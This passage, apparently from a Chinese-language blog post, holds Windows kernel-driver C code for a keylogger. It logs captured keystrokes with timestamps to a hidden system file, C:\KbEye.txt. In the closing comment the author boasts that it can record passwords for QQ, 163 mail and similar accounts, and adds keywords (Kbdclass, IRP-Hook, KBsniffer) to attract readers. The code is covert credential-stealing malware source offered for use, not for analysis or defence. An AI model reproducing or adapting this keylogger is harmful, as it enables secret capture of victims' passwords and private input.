ObReferenceObjectByHandle(ThreadHandle, THREAD_ALL_ACCESS, NULL, KernelMode,(PVOID*)&ThreadObject, NULL);
ZwClose(ThreadHandle);
return NtStatus;
}
VOID ThreadFunc(PVOID lpContext)
{
UNICODE_STRING usFileName;
OBJECT_ATTRIBUTES ObjectAttributes;
HANDLE hFile;
IO_STATUS_BLOCK IoStatus;
FILE_STANDARD_INFORMATION FileInformation;
LARGE_INTEGER CurrentSystemTime;
LARGE_INTEGER CurrentLocalTime;
TIME_FIELDS TimeFields;
ULONG ulIndex;
UCHAR szInfoBuffer[64];
KIRQL Irql;
RtlInitUnicodeString(&usFileName, L"\\??\\C:\\KbEye.txt");
InitializeObjectAttributes(&ObjectAttributes,
&usFileName,
OBJ_CASE_INSENSITIVE,
NULL,
NULL);
ZwCreateFile(&hFile,
GENERIC_ALL,
&ObjectAttributes,
&IoStatus,
NULL,
FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN ,
0,
FILE_OVERWRITE_IF,
FILE_SYNCHRONOUS_IO_NONALERT,
0,
0);
while(IsEnding==FALSE)
{
if (KeWaitForSingleObject(&hEvent, Executive, KernelMode, FALSE, NULL)==STATUS_SUCCESS)
{
KeQuerySystemTime(&CurrentSystemTime);
ExSystemTimeToLocalTime(&CurrentSystemTime,&CurrentLocalTime);
RtlTimeToTimeFields(&CurrentLocalTime,&TimeFields);
KeAcquireSpinLock(&SpinLock,&Irql);
ZwQueryInformationFile( hFile,
&IoStatus,
&FileInformation,
sizeof(FileInformation),
FileStandardInformation);
if(Buffer[31]!='\0')
{
Buffer[31]='\0';
}
RtlZeroMemory(szInfoBuffer,64);
StringCchPrintfA(szInfoBuffer,64,"[%04d-%02d-%02d,%02d:%02d:%02d]",TimeFields.Year,TimeFields.Month,TimeFields.Day,TimeFields.Hour,TimeFields.Minute,TimeFields.Second);
StringCchCatA(szInfoBuffer,64,Buffer);
for(ulIndex=0;ulIndex<64;ulIndex++)
{
if(szInfoBuffer[ulIndex]=='\0')
{
break;
}
}
ZwWriteFile(hFile,
0,
0,
0,
&IoStatus,
szInfoBuffer,
ulIndex,
&FileInformation.EndOfFile,
0);
KeReleaseSpinLock(&SpinLock,Irql);
}
}
ZwClose(hFile);
}
//----------------------------------华丽的分割线 ----------------------------------//
本以为这个程序应该会有人关注,尽管其比较丑陋,但是好歹也可以记录QQ,163邮箱等什么的密码。至少比Ring3下的键盘钩子强——可惜没有多少人看。那我就加几个关键字:
keyword: Kbdclass,IRP-Hook,KBsniffer